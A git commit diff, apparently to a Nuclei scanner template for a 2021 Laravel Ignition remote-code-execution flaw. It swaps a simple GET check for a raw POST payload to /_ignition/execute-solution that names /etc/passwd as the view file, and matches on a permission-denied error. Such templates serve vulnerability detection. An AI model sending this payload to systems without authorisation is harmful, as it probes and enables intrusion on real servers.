improved matcher

patch-1
sandeep 2021-02-27 23:54:39 +05:30
parent 705b0d05f3
commit 6cb87158a7
1 changed files with 12 additions and 9 deletions

View File

@ -9,16 +9,19 @@ info:
tags: cve,cve2021,laravel,rce tags: cve,cve2021,laravel,rce
requests: requests:
- method: GET - raw:
path: - |
- "{{BaseURL}}/_ignition/execute-solution" POST /_ignition/execute-solution HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: deflate
Accept: application/json
Connection: close
Content-Length: 144
Content-Type: application/json
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd"}}
matchers-condition: and
matchers: matchers:
- type: status
status:
- 405
- type: word - type: word
words: words:
- "laravel" - "failed to open stream: Permission denied"
negative: true